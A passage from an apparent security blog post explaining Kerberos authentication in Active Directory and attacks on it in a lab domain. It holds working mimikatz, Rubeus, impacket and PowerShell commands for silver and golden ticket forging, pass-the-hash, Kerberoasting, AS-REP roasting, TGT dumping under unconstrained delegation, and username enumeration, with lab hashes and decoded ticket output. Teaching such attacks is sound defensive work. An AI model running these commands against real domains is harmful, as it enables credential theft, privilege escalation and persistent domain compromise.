Data ------------------" print dec pacData = dec['field-9'][0]['field-1'] decAuthData = decoder.decode(pacData)[0][0]['field-1'] pacBuffers = PACTYPE(str(decAuthData)) pacBuffer = pacBuffers['Buffers'] pacBufferHex = hexlify(pacBuffer) dword = 8 buff = [] for i in range(0,32,dword): buffstr = pacBufferHex[i:i+dword] buffint = int(buffstr,16) buffstr = hexlify(struct.pack('<L',buffint)) buffint = int(buffstr,16) buff.append(buffint) pacInfoList = buff authDataLength = pacInfoList[1] authDataOffset = pacInfoList[2] authDataEnd = (authDataLength * 2) - 40 offsetStart = 24 + authDataOffset*2 authDataHex = pacBufferHex[offsetStart:offsetStart+authDataEnd] print "------------------- PAC Data ------------------" finalValidationInfo = VALIDATION_INFO() finalValidationInfo.fromStringReferents(unhexlify(authDataHex)) finalValidationInfo.dump()
Output is
VALIDATION_INFO CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 2905707874 dwHighDateTime: 30808641 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 3611792846 dwHighDateTime: 30806234 PasswordCanChange: dwLowDateTime: 28399054 dwHighDateTime: 30806436 PasswordMustChange: dwLowDateTime: 3433108942 dwHighDateTime: 30814683 EffectiveName: u'win10user' FullName: u'' LogonScript: u'' ProfilePath: u'' HomeDirectory: u'' HomeDirectoryDrive: u'' LogonCount: 79 BadPasswordCount: 0 UserId: 1104 PrimaryGroupId: 513 GroupCount: 1 GroupIds: [ RelativeId: 513 Attributes: 7 , ] UserFlags: 32 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: u'DC' LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 16 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 1 ExtraSids: [ Sid: Revision: 1 SubAuthorityCount: 1 IdentifierAuthority: '\x00\x00\x00\x00\x00\x12' SubAuthority: [ 1, ] Attributes: 7 , ] ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL
It’s up to the service to use this information to validate the user’s privileges, impersonate, or delegate the logged-on user.
As you also noticed earlier, the PAC can be found only on the TGT and the TGS, mean that in the 1st case it’s encrypted with the krbtgt key, and the other it’s encrypted using the service key.
So there is no way for the user to manipulate the PAC without getting any of these couple keys, this will come handy later.
PAC is rarely required to validate the TGS data.
if it was used for validation, an extra request is made by the server to the KDC to validate the ticket’s info.
You can obtain any user’s PAC using
python getPac.py -targetUser administrator jnkfo.lab/win10user:”P@ssw0rd”
or using Kekeo
tgt::ask /user:[email protected] /password:P@ssw0rd tgs::s4u /tgt:[email protected]@[email protected] /user:administrator /pac
Kerberos attacks
Silver ticket
If you noticed the Kerberos authentication flow, you should have noticed that we split it into 2 parts summarized in the following image
Edit: Message D, Authenticator is encrypted using session key obtained from the message A as prementioned, and not using the user’s secret key sorry for the mistype, and thanks fly to @abdelrhman1919 .
The 1st part, Client <—> KDC
This part resulted in the Client has a copy of the TGS which is encrypted using the service’s key along with the plaintext
- Service session key
- Timestamp
- Lifetime
- Service name
The 2nd part, Client <–> Service, This is the more interesting part for the silver ticket.
To authenticate to the service, the client sends a copy of the TGS which is encrypted using the service key as prementioned (Message E) and contains
- Service session key
- Username
- Timestamp
- Lifetime
- PAC information
and the authenticator message (message G) which is encrypted using the Service session key and contains
- username
- Timestamp
So the actual service authentication part starts at step 5, and all it’s needed is the service secret key.
if you have a service secret key, you may just create a random session key, add it to your own Service ticket, encrypt it with the service’s secret, and send it to the service while authenticating.
As all the service will do is just trying to decrypt that ticket with its own key, which will work because it’s the same key you used while encrypting the ticket, then use the session key (which you generated) to decrypt the authenticator message as prementioned!
That’s how easy it’s
A demo will make it easier, I have win10 machine key, will use it to create a silver ticket to access it without even making a single connection to the KDC!
This is the current tickets in that session, and am getting access denied whenever accessing SMB over my machine.
To create ticket I will use mimikatz
kerberos::golden /user:administrator /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /target:win10.jnkfo.lab /rc4:1ad9c160bd7ab9cb4b7c890c96862305 /service:cifs
- user: Username, this can be any user, even invalid one will work.
- domain: The domain name
- sid: Domain sid, can be obtained via many methods, whoami /user is one.
- target: Target machine
- rc4: NTLM hash of the target service
- Service: The service name, cifs as am accessing filesharing service
Executing this will result in
and no Kerberos packets are sent to the KDC, as you don’t need to talk to KDC at all, You got your own TGS and that’s all.
So you’ll find that only the ticket and authenticator were sent directly to the target machine.
If you checked the ticket’s PAC you’ll find
VALIDATION_INFO CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 3283888000 dwHighDateTime: 30809500 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordCanChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordMustChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 EffectiveName: u'administrator' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 0 BadPasswordCount: 0 UserId: 500 PrimaryGroupId: 513 GroupCount: 5 GroupIds: [ RelativeId: 513 Attributes: 7 , RelativeId: 512 Attributes: 7 , RelativeId: 520 Attributes: 7 , RelativeId: 518 Attributes: 7 , RelativeId: 519 Attributes: 7 , ] UserFlags: 0 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: NULL LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 0 ExtraSids: NULL ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL #
The userid: 500, which is the default local administrator account’s id, and the domain admins group id 512.
So basically the ticket will tell the service that you have an admin’s account over the machine, no matter what username you used.
Golden ticket
Back to the same figure
The golden ticket is all about the TGT, if you remember, the TGT (Message B) is the info needed by the KDC to issue you the service ticket you need.
If a user with a valid TGT asks to access any service, KDC ill grant him that access.
Golden ticket attack takes part in step 3 (TGS-REQ).
The TGT is encrypted using the KRBTGT account, KDC will decrypt this and issue the service ticket with the same group memberships and validation info found in the TGT.
So, if you have the KRBTGT hash, you can forge your own TGT which includes the PAC data with any group membership you want! including domain admins!
sending this to the KDC will result in a service ticket with a domain admin group membership inside!
let’s give this a try using mimikatz
kerberos::golden /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /rc4:53de9e86989349da8d705da4e238dede /user:invalidusername /ticket:golden.kirbi /ptt
No new options here just removed the /service option used in the silver ticket.
I will try to dir the c$ on the domain controller which requires a domain admin to do so.
You will notice that the TGS-REQ and TGS-REP messages were sent and received to and from the KDC before moving to the target machine, and that’s a difference between the silver and golden ticket
in the golden ticket you’re not restricted to a single service, you got the KRBTGT, you can create your own TGT, so you can create a TGS for whatever service you want
If we viewed the ticket’s contents we will find the following PAC inside
CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 2159116928 dwHighDateTime: 30809507 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordCanChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordMustChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 EffectiveName: u'invalidusername' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 0 BadPasswordCount: 0 UserId: 500 PrimaryGroupId: 513 GroupCount: 5 GroupIds: [ RelativeId: 513 Attributes: 7 , RelativeId: 512 Attributes: 7 , RelativeId: 520 Attributes: 7 , RelativeId: 518 Attributes: 7 , RelativeId: 519 Attributes: 7 , ] UserFlags: 0 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: NULL LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 0 ExtraSids: NULL ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL #
Note the userid: 500, which is the default local administrator account, and the domain admins group id 512.
KDC will send this info with the TGS to the client, who will send in turn to the service while accessing.
Now by knowing about the timestamp and the lifetime of the ticket along with the info that KRBTGT account pasword isn’t usually changed frequently in AD environments, can you figure out why the golden ticket is considered as long term persistence method?
Overpass the hash
In some cases, if you got the user’s hash you may not be able to crack it or use it in pass the hash attack for many reasons.
example: disabled ntlm authentication
In this case, if you used the pass the hash technique
sekurlsa::pth /user:win10user /domain:jnkfo.lab /ntlm:e19ccf75ee54e06b06a5907af13cef42
and tried accessing the machine directly, You’ll fail
But knowing how Kerberos works, you know that by having the user’s key you may just go through the whole Kerberos authentication process.
Without bothering using the NTLM challenge-response auth.
The attack was implemented in mimikatz already and can be used also via impacket examples
To use it via mimikatz, all you will need to do is connecting to the target’s hostname instead of the direct IP, this will force Windows to use Kerberos instead of NTLM auth (Remember?!!!).
Obviously, overpass the hash take place since the AS-REQ step.
That’s how easy it’s
Kerbroasting
I mentioned earlier, that Kerberos authentication itself is all about authentication, not authorization
If you got a valid domain user, you may just ask the KDC to issue you a valid TGS for any service.
Knowing the fact that SPN attributes can be set to a specific username, and that the TGS is encrypted using service’s key (user’s key in that case)
We can issue a TGS ticket on our own machine, dump the ticket and start an offline bruteforce attack against it to retrieve the plaintext password for that user (service account)!
This has been discussed already at the following blog post
Let’s go through the process manually, I will connect to mssql service at win2012.jnkfo.lab and view the list after establishing the connection
The current user, win10user has no privs at the MSSQL DBS at all, and actually, we don’t need that as I mentioned Kerberos is all about authentication, so even low privs valid user will be able to issue a TGS for any service.
That’s one way to do it, but it’s not practical, so let’s check out a better one using only native windows stuff.
Listing the SPNs related to that machine will result in
C:\Users\win10user>setspn -F -Q */win2012* Checking forest DC=jnkfo,DC=lab CN=WIN2012,CN=Computers,DC=jnkfo,DC=lab WSMAN/win2012 WSMAN/win2012.jnkfo.lab RestrictedKrbHost/WIN2012 HOST/WIN2012 RestrictedKrbHost/win2012.jnkfo.lab HOST/win2012.jnkfo.lab CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab MSSQLSvc/win2012.jnkfo.lab:1433 CN=dummy1,CN=Users,DC=jnkfo,DC=lab mssqlsvc/win2012 xxxxx/win2012 Existing SPN found! C:\Users\win10user>
As an attacker you will need to focus on the CN=users part, these are the crackable ones as their passwords are chooses by humans unlike the randomly generated machine keys.
Issue ticket for mssqlserver’s SPN using
Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList "MSSQLSvc/win2012.jnkfo.lab:1433"
So dumping the current ticket using kerberos::list /export will result in
knowing that the ticket is encrypted using service key, you’re ready to go and start offline cracking, for sake of illustration am using john
Cool, again this isn’t the best approach for Kerbroasting (when it come to simplicity), invoke-kerbroast would do everything in a blink of an eye, but I just needed to show you how the process is done.
Refer to the following blog post for more information and references regarding Kerbroasting.
AS-REP Roasting
Before Kerberos 5, you wouldn’t see something such as KRB5KDC_ERR_PREAUTH_REQUIRED, as the preauthentication step wasn’t required.
Things were a little bit different.
In kerberos5 this is how the 1st few steps of authentication are done
The preauthentication step is required, means the client is the part who’s using the user’s hash to encrypt the timestamp.
This is the default option in Kerberos 5
But in kerberos4, and also in Kerberos 5 after modifying some options, this is what’s going on.
Once the client ask for authentication and provides username, the KDC retrieve that user’s hash and use it to encrypt a message, then send this message back to the client!!!!!
Now the client ca simply start an offline brute-force attack against that encrypted part.
This happens in Kerberos 5 (modern AD) when the following option is enabled
The “Do not require Kerberos preauthentication” option isn’t enabled by default, but once it’s ticked, this is what’s happening when you login using that user
No preauthentication requests, the KDC just encrypted the timestamp, TGS name, TGS session key, and lifetime using user’s hash.
Now the attacker can simply do an offline brute-force and retrieve the user’s plaintext password.
It’s easy to get the users with “Do not require Kerberos preauthentication” enabled using
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True"} | select Name
Attacking these users is easy using Rubeus or using getnpusers.py
getnpusers.py can use a wordlist of usernames and try to obtain a crackable hashes for these users with the “Do not require Kerberos preauthentication” option enabled.
python GetNPUsers.py jnkfo.lab/ -usersfile userslist.txt -format john -outputfile roasted.txt -no-pass -dc-ip 192.168.18.2
Unconstrained Delegation
Delegation is the act of Service impersonating User to access another Service
Imagine a web application is used to manage shared folders for employees,
The employee logs in and he can view, edit, or delete his files which are found in another server.
So, Employee 1 login to the Web server using the HTTP service ticket,
Now the Web application needs to access the File sharing server as Employee 1 to receive his files!
To do so, it needs to get a TGS for the File sharing service, But with Employee1’s username inside!
That’s where delegation plays a part.
When enabled, delegation allows employee 1 to send his own TGT to the webserver, so the web service can use it to obtain a TGS on behave of employee 1 to access the file sharing service.
The same goes for employees 2, 3, 4 …ETC
Knowing so, once you compromise a machine with delegation option enabled
You can dump the TGTs of the users who used any service on that machine, then abuse these TGTs to act on behave of these users.
getting employee1’s TGT will allow you to issue a TGS for any service on behave of employee1, and so accessing the services he has access to.
The TGT transferring part was a little bit confusing for me, many resources declared that it’s “inside” the TGS, which I found out it’s not correct at all.
Many others just stating that the TGT and the TGS are being passed to the server, which isn’t enough info!!
so I will explain it as well, maybe someone is looking for it the same as I did.
This is how it looks like when connecting to a machine configured for unconstrained delegation
You will notice 2 TGS-REQ,
The 1st 1 is for the service we’re trying to access (CIFS)
The other one is for the krbtgt
This is the one that the server will be able to use, it’s for getting services tickets on behalf of the user.
The client will take the krbtgt TGS and embed it inside the authenticator message.
I assume you remember how the authenticator is encrypted and decrypted.
It’s encrypted using the service session key, which can be found inside the TGS, which can only be decrypted using the service account’s key.
So the client will send the 1st TGS-REP, which is the service ticket
And the Authenticator message which has the 2nd TGS-REP (TGT) inside.
The service will decrypt the TGS, obtain service session key, then use the service session key to decrypt the authenticator message and obtain the user’s TGT [krb_cred].
It caches it then for later use.
This can be summarized in the following pic, which takes place after the 1st TGS-REP received
2nd TGS-REP message (TGT) is
005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5
Authenticator message after decryption is
Sequence: field-0=5 field-1=JNKFO.LAB field-2=Sequence: field-0=1 field-1=SequenceOf: win10user field-3=Sequence: field-0=32771 field-1=0x10000000000000000000000000000000000000002300000001001a057682051630820512a003020105a103020116a282040730820403618203ff308203fba003020105a10b1b094a4e4b464f2e4c4142a21e301ca003020102a11530131b066b72627467741b094a4e4b464f2e4c4142a38203c5308203c1a003020112a103020103a28203b3048203af005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5a381fa3081f7a003020112a281ef0481ec6556782acbf0b4f78002c3af3a7ecf35e7a18aad30a52603763b8cf600f5eb6fc830afb3e6c61f694158b5a5209059b61a9a16f4c8dcc1191a3b188ac766c0d613af144454d0682063ceb3f4ab07b0cdee1354d37f3b6ff88fee70321c6d57ded89c6efc6f92af5cac42525730636b253d0b8a357183dbfc09d0d8ca75da7ecdaee3574c50bc31b54a2c0b3139e92d5c973cd26a8fb7581d479d74cbee5f552bb6c7a791bdf8ef575646d16af7f3134282d5edbc0272c53da2887af0dce6ba2935d237a9a26eef4df3720ffa7154970a0de4aafa16a5b8c43e33303ac0c52eb78c05d0c0f8b11546c9f672dc field-4=468 field-5=20200501014535Z field-6=Sequence: field-0=18 field-1=0x52852d5447e40ee95df24c67e8400cf79f1146df958d29d3205fe8689a55325c field-7=900366966 field-8=SequenceOf: Sequence: field-0=1 field-1=0x3081b9303fa0040202008da137043530333031a003020100a12a0428010000000020000047a9dfdb7f739b0e5720ff9a17c3534c94c937ef0b55329c007b8ce1204dfac3301aa0040202008ea1120410a01978ab0a0200002b9d850300000000300ea0040202008fa106040400400000304aa00402020090a142044063006900660073002f00770069006e0032003000310032002e006a006e006b0066006f002e006c006100620040004a004e004b0046004f002e004c0041004200
You will find that the KRB_CRED is embedded inside
The authenticator checksum field SHALL have the following format: Octet Name Description ----------------------------------------------------------------- 0..3 Lgth Number of octets in Bnd field; Represented in little-endian order; Currently contains hex value 10 00 00 00 (16). 4..19 Bnd Channel binding information, as described in section 4.1.1.2. 20..23 Flags Four-octet context-establishment flags in little-endian order as described in section 4.1.1.1. 24..25 DlgOpt The delegation option identifier (=1) in little-endian order [optional]. This field and the next two fields are present if and only if GSS_C_DELEG_FLAG is set as described in section 4.1.1.1. 26..27 Dlgth The length of the Deleg field in little-endian order [optional]. 28..(n-1) Deleg A KRB_CRED message (n = Dlgth + 28) [optional]. n..last Exts Extensions [optional].
So assuming I compromised the machine win2012.jnkfo.lab, you will be able to dump all the TGTs Not just for the users who accessed the web service, but for any user who accessed any service used within the machine (web server).
This can be done via mimikatz sekurlsa::tickets /export
or using .\Rubeus.exe monitor /interval:1
To abuse this you can use kerberos::ptt ticket.kirbi at your attacking machine
So am using this to try accessing windows 10 machine, this pic show the action before and after passing the ticket.
Constrained delegation
To be discussed in a separated blog post
User enumeration
If you tried authenticating using invalid username, Kerberos will kill the process in the preauthentication step and you will get the following error
You can depend on that for enumerating domain users without even being part of the domain!
Practically this is very useful in many situations, as all you need is being able to connect to the KDC.
You can get the valid usernames which would save you tons of rime while bruteforcing services, along with the users with no preauth required.
That would give you a good foothold in many situations.
Conclusion
Woooo, finally it’s over.
I supposed to separate this blog into 2 or 3 parts but found out that it may be better to put as much as techniques as I can into a single post in order not to get lost between many parts related to the same topic.
I’ve discussed how Kerberos works, tried to explain it as much as I can, discussed most of the attacks directly related to Kerberos authentication.
I tried to be straight to the point as much as I can along with illustrating the stuff that was once confusing to me, hopefully, I succeded doing so.
Probably I will continue with this series, so if you guys have any comments or suggestions, or found sth wrong in this blog post (Am sure I missed something around), feel free to reach me at @0x4148
Till next time,
Ahmed
References
How the Kerberos Version 5 Authentication Protocol Works
Kerberos Authentication Overview
Kerberos for the Busy Admin
Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
SPNs
Kerberos Principal Name Canonicalization and Cross-Realm Referrals
The Kerberos Version 5
Abusing Kerberos
And almost every single blog at posts.specterops.io